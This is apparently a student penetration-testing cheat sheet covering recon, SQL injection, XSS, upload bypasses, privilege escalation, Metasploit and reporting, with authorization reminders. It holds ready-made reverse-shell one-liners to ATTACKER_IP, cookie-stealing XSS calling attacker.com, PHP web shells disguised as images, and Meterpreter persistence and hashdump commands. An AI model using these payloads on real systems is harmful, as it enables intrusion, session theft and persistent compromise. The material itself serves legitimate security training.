Penetration Testing Cheat Sheet

Complete Reference Guide for Students

Version: 1.0 | Updated: December, 2025 | synnefo.in

Quick Navigation

Linux Commands

Navigation and File Operations

```
pwd
ls -la
cd /path/to/directory
cat file.txt
head -n 20 file.txt
tail -f /var/log/syslog
grep "pattern" file.txt
find / -name "*.conf" 2>/dev/null
```

Permissions and Ownership

```
chmod 755 file.sh
chmod +x script.sh
chown user:group file.txt
ls -la file.txt
```

Process Management

```
ps aux
ps aux | grep apache
kill -9 PID
top
htop
```

Networking

```
ifconfig
ip addr show
ip route
netstat -tulnp
ss -tulnp
```

Web Testing with cURL

Basic Requests

```
curl http://target.com
curl -I http://target.com
curl -X POST http://target.com/login
curl -d "user=admin&pass=123" http://target.com
```

Advanced Usage

```
curl -H "Authorization: Bearer TOKEN" http://target.com
curl -b "session=abc123" http://target.com
curl -c cookies.txt http://target.com
curl -L http://target.com
curl -A "Mozilla/5.0" http://target.com
curl -x http://127.0.0.1:8080 http://target.com
```

File Upload Testing

```
curl -F "file=@shell.php" http://target.com/upload.php
curl -F "file=@image.jpg;type=image/jpeg" http://target.com/upload
```

Testing SQL Injection

```
curl "http://target.com/search?id=1'"
curl "http://target.com/search?id=1 OR 1=1--"
```

Testing XSS

```
curl "http://target.com/search?q=<script>alert(1)</script>"
```

Reconnaissance

Nmap Port Scanning

```
nmap -sV target.com
nmap -sC target.com
nmap -p- target.com
nmap -p 80,443,8080 target.com
nmap -A target.com
nmap -sU target.com
nmap --script vuln target.com
nmap -oN output.txt target.com
nmap -T4 -F target.com
nmap -sn 192.168.1.0/24
nmap --top-ports 20 target.com
```

Directory Enumeration

```
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://target.com -w wordlist.txt -x php,txt,html
ffuf -u http://target.com/FUZZ -w wordlist.txt
ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,302
```

DNS Enumeration

```
dig target.com
dig target.com ANY
dig @8.8.8.8 target.com
nslookup target.com
host target.com
```

Subdomain Discovery

```
sublist3r -d target.com
amass enum -d target.com
assetfinder target.com
subfinder -d target.com
```

SQL Injection

Detection Payloads

Test these in input fields or URL parameters:

```
'
"
`
')
")
`)
'))
"))
`))
```

Common test payloads:

```
' OR '1'='1
" OR "1"="1
' OR 1=1--
" OR 1=1--
admin' --
admin" --
```

Union-Based SQL Injection

Find number of columns:

```
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
```

Union select queries:

```
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
```

Extract data:

```
' UNION SELECT username, password FROM users--
' UNION SELECT table_name, NULL FROM information_schema.tables--
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--
```

Database information:

```
' UNION SELECT 1,database()--
' UNION SELECT 1,user()--
' UNION SELECT 1,version()--
' UNION SELECT 1,@@version--
```

Boolean-Based Blind SQL Injection

True/False tests:

```
' AND 1=1--
' AND 1=2--
```

Extract database name length:

```
' AND LENGTH(database())=1--
' AND LENGTH(database())=2--
```

Extract characters:

```
' AND SUBSTRING(database(),1,1)='a'--
' AND SUBSTRING(database(),1,1)='b'--
```

Time-Based Blind SQL Injection

MySQL:

```
' AND SLEEP(5)--
' OR SLEEP(5)--
```

PostgreSQL:

```
'; SELECT pg_sleep(5)--
```

MSSQL:

```
'; WAITFOR DELAY '00:00:05'--
```

Extract data with time delays:

```
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
```

Authentication Bypass

```
admin' --
admin' #
admin'/*
' or 1=1--
' or '1'='1
') or ('1'='1
admin' or '1'='1
' or 1=1#
') or '1'='1--
```

SQLMap Automation

```
sqlmap -u "http://target.com/page?id=1"
sqlmap -u "http://target.com/login" --data="user=admin&pass=admin"
sqlmap -r request.txt
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump
sqlmap -u "http://target.com/page?id=1" --os-shell
```

XSS (Cross-Site Scripting)

Reflected XSS Payloads

Basic payloads:

```
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<script>alert(document.domain)</script>
```

Image tag payloads:

```
<img src=x onerror=alert(1)>
<img src=x onerror=alert(document.cookie)>
```

SVG payloads:

```
<svg onload=alert(1)>
<svg/onload=alert(1)>
```

Body tag payloads:

```
<body onload=alert(1)>
```

Event handler payloads:

```
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
```

Stored XSS Payloads

Cookie theft payload:

```
<script>fetch('http://attacker.com/steal?c=' + document.cookie);</script>
```

Image request payload:

```
<img src=x onerror="fetch('http://attacker.com/log?c='+document.cookie)">
```

Session hijacking payload:

```
<script>new Image().src='http://attacker.com/steal.php?
cookie='+document.cookie;</script>
```

Filter Bypass Techniques

Case variation:

```
<ScRiPt>alert(1)</sCrIpT>
```

HTML encoding:

```
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
```

Without parentheses:

```
<script>onerror=alert;throw 1</script>
```

Without spaces:

```
<img/src=x/onerror=alert(1)>
```

Comment breaks:

```
<scr<!---->ipt>alert(1)</scr<!---->ipt>
```

Null byte:

```
<scri%00pt>alert(1)</scri%00pt>
```

File Upload Bypass

Extension Bypass Techniques

Double extensions:

```
shell.php.jpg
shell.php.png
shell.jpg.php
```

Null byte injection:

```
shell.php%00.jpg
shell.php\x00.jpg
```

Case manipulation:

```
shell.PhP
shell.pHp
shell.Php
```

Alternative PHP extensions:

```
.phtml
.pht
.php3
.php4
```

```
.php5
.phps
```

Magic Bytes Manipulation

Add JPEG header to PHP file:

```
printf '\xFF\xD8\xFF\xE0' > shell.php
cat payload.php >> shell.php
```

GIF header with PHP code:

```
GIF89a;
<?php system($_GET['cmd']); ?>
```

PNG header with PHP code:

```
\x89PNG\r\n\x1a\n
<?php system($_GET['cmd']); ?>
```

htaccess Upload Technique

Create .htaccess file with:

```
AddType application/x-httpd-php .jpg
```

Then upload shell.jpg containing PHP code.

Polyglot File Creation

```
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg image.php.jpg
```

Privilege Escalation

Linux Privilege Escalation

Find SUID binaries:

```
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
```

Check sudo permissions:

```
sudo -l
```

Check cron jobs:

```
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
```

Check writable passwd file:

```
ls -la /etc/passwd
```

Check kernel version:

```
uname -a
cat /proc/version
```

Find world-writable files owned by root:

```
find / -type f -perm -002 -user root 2>/dev/null
```

Check for capabilities:

```
getcap -r / 2>/dev/null
```

Run automated enumeration:

```
./linpeas.sh
./linux-exploit-suggester.sh
./pspy64
```

Windows Privilege Escalation

System information:

```
whoami /all
systeminfo
wmic qfe
```

List services:

```
sc query
wmic service list brief
```

Find unquoted service paths:

```
wmic service get name,pathname,displayname,startmode | findstr /i auto |
findstr /i /v "C:\Windows\\" | findstr /i /v """
```

Check registry autoruns:

```
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

Check scheduled tasks:

```
schtasks /query /fo LIST /v
```

Check AlwaysInstallElevated:

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
```

Reverse Shells

Bash Reverse Shell

```
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
```

Python Reverse Shell

Python2:

```
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.
connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

Python3:

```
python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.
connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-
i"]);'
```

PHP Reverse Shell

```
php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Perl Reverse Shell

```
perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

Ruby Reverse Shell

```
ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

Netcat Reverse Shell

Traditional:

```
nc -e /bin/sh ATTACKER_IP PORT
```

Without -e flag:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f
```

PowerShell Reverse Shell

```
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

Setting Up Listener (Attacker Side)

Netcat listener:

```
nc -lvnp PORT
```

With readline support:

```
rlwrap nc -lvnp PORT
```

Metasploit multi-handler:

```
msfconsole
use exploit/multi/handler
set payload linux/x64/shell_reverse_tcp
set LHOST ATTACKER_IP
set LPORT PORT
exploit
```

Shell Upgrade to Fully Interactive

Step 1 - Spawn TTY:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

Or:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Step 2 - Export term:

```
export TERM=xterm
```

Step 3 - Background shell (press Ctrl+Z)

Step 4 - On local machine:

```
stty raw -echo; fg
```

Step 5 - Press Enter twice

Step 6 - Set terminal size:

```
stty rows 38 columns 116
```

OSINT Techniques

Domain and IP Reconnaissance

WHOIS lookup:

```
whois target.com
whois 1.2.3.4
```

DNS records:

```
dig target.com ANY
dig target.com A
dig target.com MX
dig target.com TXT
```

Reverse DNS:

```
dig -x 1.2.3.4
```

DNS zone transfer attempt:

```
dig axfr @dns-server target.com
```

Subdomain Enumeration

```
sublist3r -d target.com
amass enum -d target.com
assetfinder target.com
subfinder -d target.com
```

Certificate transparency search:

Visit: https://crt.sh/?q=%.target.com

Email Enumeration

theHarvester:

```
theHarvester -d target.com -b all
```

Hunter.io web interface:

Visit: https://hunter.io/search/target.com

Google dorking for emails:

```
site:target.com "@target.com"
site:target.com "email"
```

Google Dorking

Find login pages:

```
site:target.com inurl:login
site:target.com inurl:admin
site:target.com intitle:"index of"
```

Find files:

```
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc
site:target.com ext:sql
```

Find vulnerabilities:

```
site:target.com inurl:php?id=
site:target.com intext:"sql syntax"
site:target.com inurl:admin.php
```

Configuration files:

```
site:target.com ext:conf
site:target.com ext:config
site:target.com inurl:wp-config.php
```

Exposed directories:

```
site:target.com intitle:"index of" "parent directory"
site:target.com intitle:"index of" "backup"
```

Shodan Searches

Search by hostname:

```
shodan search hostname:target.com
```

Search by IP:

```
shodan host 1.2.3.4
```

Search by service:

```
shodan search "apache 2.4"
shodan search "nginx"
```

Wayback Machine

View historical snapshots:

Visit: http://web.archive.org/web/*/target.com

Find old exposed files:

Visit: http://web.archive.org/web/*/target.com/admin

Metadata Extraction

EXIF data from images:

```
exiftool image.jpg
exiftool -a -G1 image.jpg
```

PDF metadata:

```
exiftool document.pdf
pdfinfo document.pdf
```

Document metadata:

```
exiftool document.docx
```

Essential Tools

Reconnaissance Tools

- nmap (network scanner)
- masscan (fast port scanner)
- gobuster (directory brute force)
- ffuf (web fuzzer)
- sublist3r (subdomain enumeration)
- amass (subdomain and asset discovery)
- theHarvester (email and subdomain harvesting)

Web Application Testing

- Burp Suite (web proxy and scanner)
- OWASP ZAP (web application scanner)
- sqlmap (SQL injection automation)
- nikto (web server scanner)
- wfuzz (web fuzzer)

- commix (command injection tool)

Exploitation Frameworks

- Metasploit (exploitation framework)
- searchsploit (exploit database search)
- msfvenom (payload generator)

Post-Exploitation

- LinPEAS (Linux privilege escalation)
- WinPEAS (Windows privilege escalation)
- mimikatz (credential dumping for Windows)
- PowerSploit (PowerShell post-exploitation)
- pspy (process monitor without root)

Password Attacks

- hashcat (hash cracking with GPU)
- John the Ripper (hash cracking)
- hydra (online brute force)
- medusa (online brute force)
- CrackMapExec (Active Directory attacks)

Utilities

- netcat/nc (network swiss army knife)
- socat (advanced netcat)
- tmux (terminal multiplexer)
- curl (HTTP client)
- wget (file downloader)

Metasploit Quick Reference

Basic Commands

Start Metasploit:

```
msfconsole
```

Search for exploits:

```
search exploit_name
search type:exploit platform:windows
```

Use an exploit:

```
use exploit/multi/handler
```

Show options:

```
show options
show payloads
show targets
```

Set options:

```
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
set RHOST target.com
```

Run exploit:

```
exploit
```

Or:

```
run
```

Background session:

```
background
```

Or press Ctrl+Z

List sessions:

```
sessions -l
```

Interact with session:

```
sessions -i 1
```

Meterpreter Commands

System information:

```
sysinfo
getuid
getpid
```

File system:

```
pwd
ls
cd /path
download file.txt
upload shell.exe
```

Process management:

```
ps
migrate PID
kill PID
```

Networking:

```
ipconfig
route
portfwd add -l 8080 -p 80 -r target.com
```

Privilege escalation:

```
getsystem
hashdump
```

Persistence:

```
run persistence -X -i 60 -p 4444 -r ATTACKER_IP
```

Wordlists and Dictionaries

Common Wordlist Locations on Kali Linux

Directories:

```
/usr/share/wordlists/dirb/common.txt
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/usr/share/seclists/Discovery/Web-Content/common.txt
```

Passwords:

```
/usr/share/wordlists/rockyou.txt
/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
```

Usernames:

```
/usr/share/seclists/Usernames/Names/names.txt
```

Subdomains:

```
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
```

Download SecLists

```
git clone https://github.com/danielmiessler/SecLists.git /opt/SecLists
```

Burp Suite Tips

Essential Shortcuts

```
Ctrl+R          Send to Repeater
Ctrl+I          Send to Intruder
Ctrl+Shift+B    Send to Decoder
Ctrl+T          New Repeater tab
Ctrl+W          Close current tab
Ctrl+F          Find in current view
```

Intruder Attack Types

- Sniper: Single payload position, one at a time
- Battering Ram: Same payload in all positions
- Pitchfork: Multiple payloads in sequence
- Cluster Bomb: All payload combinations (most thorough)

Match and Replace Rules

Remove Content Security Policy:

```
Type: Response header
Match: Content-Security-Policy.*
Replace: (leave empty)
```

Add custom header:

```
Type: Request header
Match: (leave empty)
Replace: X-Forwarded-For: 127.0.0.1
```

Quick Win Checklist

First 15 Minutes on Target

```
[ ] Run nmap scan
[ ] Check for default credentials
[ ] Run directory enumeration
[ ] Check robots.txt
[ ] View source code for comments
[ ] Test for SQL injection in forms
[ ] Check for exposed admin panels
[ ] Look for version information
[ ] Search for known exploits
[ ] Run vulnerability scanner
```

Low-Hanging Fruit to Check

```
[ ] Default credentials (admin/admin, root/root, admin/password)
[ ] Outdated software with public exploits
[ ] Directory listing enabled
[ ] Exposed .git or .svn directories
[ ] Backup files (.bak, .old, ~, .swp)
[ ] Configuration files exposed (config.php, web.config)
[ ] phpinfo() pages accessible
[ ] Weak passwords (Password1, Welcome123)
[ ] No rate limiting on login forms
[ ] Insecure file uploads with no validation
```

Vulnerability Report Template

Report Structure

Executive Summary

Brief non-technical overview of findings for management.

Vulnerability Details

Title: SQL Injection in Login Form

Severity: Critical / High / Medium / Low

CVSS Score: 9.8 (Critical)

Affected Component: /login.php - username parameter

Description:

The login form accepts unvalidated input in the username field, allowing SQL injection attacks that bypass authentication.

Steps to Reproduce:

1. Navigate to http://target.com/login.php
2. Enter payload: admin' OR '1'='1— in username field
3. Enter any password
4. Click Login button
5. Observe successful authentication bypass

Proof of Concept:

Request:

```
POST /login.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin' OR '1'='1--&password=anything
```

Response:

```
HTTP/1.1 302 Found
Location: /dashboard.php
Set-Cookie: session=abc123
```

Impact:

- Complete authentication bypass
- Unauthorized access to admin panel
- Potential data extraction from database
- Possible database manipulation

Remediation:

1. Use prepared statements and parameterized queries
2. Implement input validation and sanitization
3. Apply principle of least privilege to database users
4. Enable Web Application Firewall with SQL injection rules
5. Conduct security code review
6. Implement proper error handling

References:

- OWASP Top 10 A03:2021 - Injection
- CWE-89: SQL Injection
- https://owasp.org/www-community/attacks/SQL_Injection

Useful Websites

Learning Platforms

TryHackMe	https://tryhackme.com
HackTheBox	https://hackthebox.com
PortSwigger Academy	https://portswigger.net/web-security
PentesterLab	https://pentesterlab.com
OverTheWire	https://overthewire.org
VulnHub	https://vulnhub.com

Reference and Tools

GTFOBins	https://gtfobins.github.io/
PayloadsAllTheThings	https://github.com/swisskyrepo/PayloadsAllTheThings
HackTricks	https://book.hacktricks.xyz/
OWASP	https://owasp.org/
CWE	https://cwe.mitre.org/
CVE	https://cve.mitre.org/

OSINT Resources

Shodan	https://shodan.io
Censys	https://censys.io
Hunter.io	https://hunter.io
crt.sh	https://crt.sh
Wayback Machine	https://web.archive.org

Tips and Best Practices

Before Starting Testing

- Always get written authorization
- Define scope clearly with client
- Keep detailed notes throughout
- Take screenshots of everything
- Document all commands executed
- Save all requests and responses

During Testing

- Start with passive reconnaissance
- Do not skip basic enumeration
- Test methodically, not randomly
- Document findings immediately
- Verify exploits before reporting
- Take frequent breaks to stay sharp

After Testing

- Write clear, concise reports
- Include detailed reproduction steps
- Provide remediation guidance
- Clean up shells and backdoors
- Secure your notes properly
- Follow responsible disclosure

Legal Reminders

- Only test authorized systems
- Follow defined scope strictly
- Do not cause damage or disruption
- Respect data privacy laws
- Report findings responsibly
- Keep everything confidential

Common Mistakes to Avoid

- Skipping the reconnaissance phase
- Not reading tool documentation
- Testing in production without permission
- Not documenting findings immediately
- Giving up after first failure
- Relying only on automated tools
- Not verifying findings manually
- Poor report writing quality
- Not following up on remediation
- Sharing findings publicly without permission

Success Tips

- Consistency beats intensity - study 2 hours daily
- Learn to fail - getting stuck is normal
- Document everything with screenshots
- Join communities on Discord and Reddit
- Build in public and share writeups
- Stay legal - only test authorized systems
- Focus on fundamentals before advanced topics
- Network actively at conferences and meetups

Document Version: 1.0
Created: December, 2025

Remember:

- Practice legally and ethically
- Document everything you do
- Never stop learning
- Join the security community

Questions? synnefo.in
Updates: @synnefo.academy on Instagram

This cheat sheet is meant as a quick reference guide. Always understand commands before using them.
Happy ethical hacking!